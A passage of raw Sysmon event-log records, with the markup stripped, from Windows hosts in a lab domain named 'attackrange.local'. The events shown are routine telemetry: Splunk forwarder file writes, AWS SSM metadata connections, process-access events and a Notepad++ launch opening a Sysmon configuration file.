Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48D7D6865FA93FD88D78E136529BEDC4,SHA256=51E7631D629303BC4EDA0480DF491163F670BEAFCFAFC79EE894E6587B6E504C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:02.370{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E7A582175BDB35B17EB50F7F61977C70,SHA256=5D817EF49B63F8886D71CF9AA5E69ABEC4B5F81D1D9C44BD77B48C8BCB8DC29F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014507Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:02.225{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=E582A6462C75BF7DD99B15F9919962D9,SHA256=7163C5DCD0B73CBC8E22B5AE6B8E85793F235338CBB9CA9766427C28D54FE8E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014509Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:03.959{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=50601BFDF0F6F6DDB5360EBE47D5D391,SHA256=1EE48000AC8EFB03251E80C9A5F8FAEB4706876B119CAF9E8E183BE6945B28F3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:01.576{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59341-false10.0.1.12-8000- 23542300x800000000000000046691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:03.386{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD038F140E762B151C9A29DBB9D9C5E5,SHA256=146BD16B19FE72D91ED28739FCC5033B8E971E399BAC028248F08DA846E68852,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014510Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:04.975{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=378D8FF1E2400CED722DF165EC72C26A,SHA256=C58D780C4A6D74B7EFAA1CA6C50152B06C3E6F45FD776CD4AF1701431A6009C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:04.917{7BD73061-7006-613B-FC0A-00000000F001}7140NT AUTHORITY\NETWORK SERVICEC:\Windows\system32\sppsvc.exeC:\Windows\System32\spp\store\2.0\cache\cache.datMD5=70BAD5BCB77B199C587C9498EB282757,SHA256=64C37DDAC9786D06864E6EAC1E6811647C44E7EAF151539C911C2F8D81C8DE9A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:04.401{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0EB26E0E53AD00A9C0D9951219B67E5F,SHA256=465E47BB7CF74770F44ED66D24754DC4121E778BED4BA1F2D46073CAF47681E9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014511Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:05.976{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3B9E5BA3A479842BD90915F30833B97,SHA256=CA4B68C09AF3161A8D7E3632C66FC3423BC035AB09202B819C57E51203C5F185,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:05.683{7BD73061-7006-613B-FC0A-00000000F001}7140NT AUTHORITY\NETWORK SERVICEC:\Windows\system32\sppsvc.exeC:\Windows\System32\spp\store\2.0\tokens.dat.bakMD5=59979B7930BE4646766554728377CF2E,SHA256=7A0C8A0228E7375780BA15D25336C1F60ADEF991C73591B5E9A59C4AD48804B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:05.417{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=87DCDAF6F76DE1D2909D989CCA6F8928,SHA256=72CB62A6E89965CA85709E5C8B3168B238A973D9A3D57DE7679D20ECB36519A4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014513Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:06.989{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F6C7120FDB2AD37E93439F642954CF3,SHA256=FFF6D321C731519E8C241A241115DCDD5E03B1168E5F933CE1CA7B0BD7D91808,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:06.433{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=305BB9C231988B9EB00349A1D8308AEC,SHA256=D897859CD7D48A5E0049F8667204232B50C911C0DC76B709C0AF9A1A34BC418F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014512Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:05.520{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50160-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014514Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:07.989{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9BFB1C03B5C92B5EFA4EE18780FC6178,SHA256=D659F9E04882ADDE2DB72CE2D65945976D9CAB350E79E8C4688D9D75F2124FEA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:07.464{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE81F2F14BFEB2FABC4039C45FC2BA4F,SHA256=6005A430301D9EC8F9925C76930733536FC35125CCA337E466513A67E3DE93F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:08.511{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C84283234C47767192CCD69932A0383A,SHA256=C9D724876FFDF931A170FDDDAF89D00D9F9F5E5A243E268E76353988E85ACDE4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014518Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:06.515{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50164-false169.254.169.254instance-data.eu-central-1.compute.internal80http 354300x800000000000000014517Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:06.431{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50163-false169.254.169.254instance-data.eu-central-1.compute.internal80http 354300x800000000000000014516Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:06.398{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50162-false169.254.169.254instance-data.eu-central-1.compute.internal80http 354300x800000000000000014515Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:06.397{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50161-false169.254.169.254instance-data.eu-central-1.compute.internal80http 13241300x800000000000000046701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:09.698{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{AB968F1E-E20B-403A-9EB8-72EB0EB6797E} {000214FA-0000-0000-C000-000000000046} 0xFFFFBinary Data 23542300x800000000000000046700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:09.526{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FA880EA1724D52649CB577A8A645A25F,SHA256=6EFA844C6DD065337C14592D247C8B2D2210F58305686BA306CE160E5E04CB82,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014519Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:09.004{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9F1EA539CBEA3645EA80B26CE6259572,SHA256=CF88B40ECEE574855B69508F4798464C4B4CC556B6711E00E31C4A22B884AA9D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:07.513{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59342-false10.0.1.12-8000- 23542300x800000000000000046702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:10.542{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D74B3B742A717A7AB249C193E0B2C9E,SHA256=7E295358E05014A707D9B04D5BA16F08C9EEBBAF2BAB25406FDD4046EBB2C05D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014520Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:10.020{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B902ED0367C869F3FBD94D871F3A2E87,SHA256=A0D2AC1405B378B5D0A718FEC28881A4EF25989019D7B9D4A723528F67A63564,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:11.556{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4C037D2916B10C05F8F85C364C4905BB,SHA256=0E72671BAF29809532ADA86E471D4AE1EB923A0E708077B401B90AF430BD569B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014521Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:11.021{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63F44AECAE257C5A45328DC6A1A7BA63,SHA256=2DD81BF34A405964FC3E11146AD9076D4C5E534D25DA7AAF4B856B2D5F84E8F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:12.587{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE555F568D9E4F889CF60AE7E5D98CA6,SHA256=15F05CDCCD4298D4AF8573936AB10D61FFFC31ACDC2FBED026F93FFB936524A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014522Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:12.037{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=59E25EB200C57F08D296C89393F99F69,SHA256=7EB23AF88F373FFFF36977D138F06262D6B88AA63E5D745B6A2E7AF44FA5DF6A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:13.618{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27591593EE171778ECD5E3BE77F06A2C,SHA256=23E295C33F7DBC168AE2B2518E3F80B74059171A5E567F32B4DCC4E853E9CB19,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014524Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:11.489{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50165-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014523Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:13.053{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F6BE8E25F177105E9CF16D6A4FB0B20C,SHA256=6C604C475EB0934D2EF9CB2C965A2CCB38297DF663A40EAA27266E94EC941F52,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:14.650{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=851F5D48CC7B383CC20ED5CBB6838B3E,SHA256=1A87FB146518236DD9F90344B63E5A772366C78B4CEC5859E76AA526FF6DD930,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014525Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:14.068{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F81FCD9F4736339BD2B3262A08F89AB,SHA256=0E88FA70143A6B668F0EB3A48FD08EEA5FFF2CF151A8479AA2D60548E1CBFD36,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:15.665{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D146E63426EC45AB1726C880EFB9F247,SHA256=50C27195D4CA7C4AB893D471EE9D92663B9151C2698A11C0FD7224730B8C7C2E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014526Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:15.084{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=70960ABBFF5D73A3EC6F6FAA08087250,SHA256=73DA1D5768931CE6FEAE4359582049C6936A8C7361FA0F194D99DDD05A7D3874,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.931{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.931{7BD73061-6D0F-613B-9406-00000000F001}44806284C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Notepad++\NppShell_06.dll+4449|C:\Program Files\Notepad++\NppShell_06.dll+46a6|C:\Windows\System32\SHELL32.dll+80287|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\SHELL32.dll+17c30c|C:\Windows\System32\SHELL32.dll+19ead8|C:\Windows\System32\SHELL32.dll+2846d3|C:\Windows\system32\explorerframe.dll+13cf7b|C:\Windows\system32\explorerframe.dll+139d07|C:\Windows\System32\SHELL32.dll+17c5b0|C:\Windows\System32\SHELL32.dll+179a2e|C:\Windows\System32\SHELL32.dll+736e1|C:\Windows\System32\SHELL32.dll+765c6|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\System32\DUser.dll+17b15|C:\Windows\SYSTEM32\atlthunk.dll+1026|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53 154100x800000000000000046711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.869{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe8.14Notepad++ : a free (GPL) source code editorNotepad++Don HO don.h@free.frnotepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Program Files\ansible\AttackRangeSysmon.xml"C:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=8D93FF22077355875C7BC59CEBE98B4F,SHA256=A345288CDF2B0A43B64E0C3264FC2839A76C98835CAC1A1920D68E21DD444EB3,IMPHASH=D3A8B6DC8BC0179C654D96C4AD61A9D1{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\Explorer.EXE /NOUACCHECK 23542300x800000000000000046710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.681{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=42EADA65913E0B957594C0348682DCE5,SHA256=BA65C39B4357BD3358F831F01BA89BE268DDC951642BAD6626A267DD7B0759F7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014527Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:16.100{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EFC389477C19D907204D7C52C854EDD8,SHA256=56A695AC09A5F2FE9D3ECE92F3F6A3170F924A78101F383995F054516EA06AA3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:13.527{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program 